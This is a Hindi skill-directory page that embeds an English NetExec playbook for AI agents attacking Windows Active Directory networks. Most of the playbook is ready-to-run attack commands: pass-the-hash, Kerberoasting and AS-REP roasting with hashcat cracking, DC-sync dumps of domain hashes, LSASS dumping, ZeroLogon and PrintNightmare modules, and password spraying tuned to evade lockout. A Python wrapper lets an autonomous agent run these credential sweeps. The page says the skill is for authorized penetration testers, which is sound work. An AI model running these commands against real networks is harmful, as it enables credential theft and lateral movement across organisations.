netexec
यह क्या करती है
यह स्किल NetExec के लिए एक व्यावहारिक गाइड है, जो नेटवर्क पर लॉगिन और सर्विस सेटिंग की जाँच के लिए कमांड-लाइन टूल है। यह उन सुरक्षा परीक्षकों के लिए है जिनके पास परखे जा रहे नेटवर्क के लिए लिखित अनुमति है।
कब इस्तेमाल करें
- ✓जब सुरक्षा परीक्षक को अधिकृत रेंज की मशीनों में जाँचना हो कि कौन-सी मशीनें टेस्ट लॉगिन स्वीकार करती हैं।
- ✓जब एजेंट को Windows या Active Directory की जानकारी जुटाने के लिए NetExec मॉड्यूल चलाना हो।
- ✓जब टीम को आम NetExec कमांड की छोटी चीट शीट चाहिए।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“NetExec से क्या आप जाँच सकते हैं कि हमारे अधिकृत टेस्ट सबनेट की कौन-सी मशीनें टेस्ट खाता स्वीकार करती हैं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट चुने गए प्रोटोकॉल और टेस्ट विवरण के साथ NetExec चलाता है, हर होस्ट का परिणाम पढ़ता है, और जो मिला उसका सारांश देता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
NetExec (nxc) Playbook
NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.
1. Install
pipx install netexec # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .
2. Protocol auth sweep
# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24
# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931... # NTLM hash
# Across protocols — same creds, different services
nxc ldap $DC -u alice -p $PW
nxc mssql 10.0.0.5 -u alice -p $PW
nxc winrm 10.0.0.5 -u alice -p $PW
nxc rdp 10.0.0.5 -u alice -p $PW
nxc ssh 10.0.0.5 -u alice -p $PW
# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC
3. Critical modules
3.1 BloodHound auto-collect (built-in)
nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
--dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound
3.2 ADCS ESC1-15 scan
nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags
3.3 Kerberoasting
nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt
3.4 AS-REP roasting
nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt
3.5 Spider SMB shares
nxc smb 10.0.0.0/24 -u alice -p $PW \
--spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
--output-folder /tmp/spider
3.6 DC sync (when authorized as DA)
nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output
3.7 Password spray (with lockout protection)
nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout
3.8 Module catalog
nxc smb -L # all SMB modules
nxc ldap -L # all LDAP modules
nxc smb -M lsassy -o ... # use lsassy module to dump LSASS
nxc smb -M wcc # Windows Configuration Collector
nxc smb -M printnightmare # PrintNightmare CVE-2021-34527
nxc smb -M zerologon # ZeroLogon CVE-2020-1472
nxc smb -M scuffy # scf file for credential coercion
4. Output formats
nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv /tmp/nxc.csv
NetExec also writes to ~/.nxc/ SQLite DB by default — query w/
nxcdb:
nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds
5. Decepticon integration
When agent has any valid AD cred (recon or roast), the first move
should be nxc smb cred-sweep across the subnet. It surfaces:
- Local admin reuse (massively common; instant lateral)
- SMB signing disabled (relay target)
- Shares accessible (PII / cred farming)
- OS version + domain membership
Wrap as Decepticon tool:
# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool
def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
"""Run nxc across targets; parse JSON output; promote findings to KG."""
cmd = f"nxc {protocol} {targets} -u {user}"
if len(pw_or_hash) == 32 + 1 + 32: # LM:NT hash
cmd += f" -H {pw_or_hash}"
else:
cmd += f" -p {shlex.quote(pw_or_hash)}"
if modules:
for m in modules:
cmd += f" -M {m}"
cmd += " --json /tmp/nxc.json"
result = bash_tool(cmd)
if Path("/tmp/nxc.json").exists():
return json.loads(Path("/tmp/nxc.json").read_text())
return {"error": "no json output"}
6. PoC framing
# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target
7. Severity
- (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
- SMB signing disabled in production: High 7-8 (relay attack possible)
- Shares world-readable w/ PII: Critical depending on data
8. Defender
- Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings →
अक्सर पूछे जाने वाले सवाल
NetExec क्या है?
यह एक खुला टूल है जो SMB, LDAP और WinRM जैसे कई नेटवर्क प्रोटोकॉल के साथ काम करता है, और यह CrackMapExec का उत्तराधिकारी है।
क्या यह किसी भी नेटवर्क को स्कैन कर सकता है?
स्किल केवल अधिकृत लक्ष्यों के लिए है, और एजेंट को स्कैन चलाने से पहले दायरे की पुष्टि करनी चाहिए।
क्या स्किल में इंस्टॉल के चरण हैं?
हाँ। यह बताती है कि pipx से या प्रोजेक्ट के सोर्स से टूल कैसे इंस्टॉल करें।
जानकारी
लेखक का मूल विवरण
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13944
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।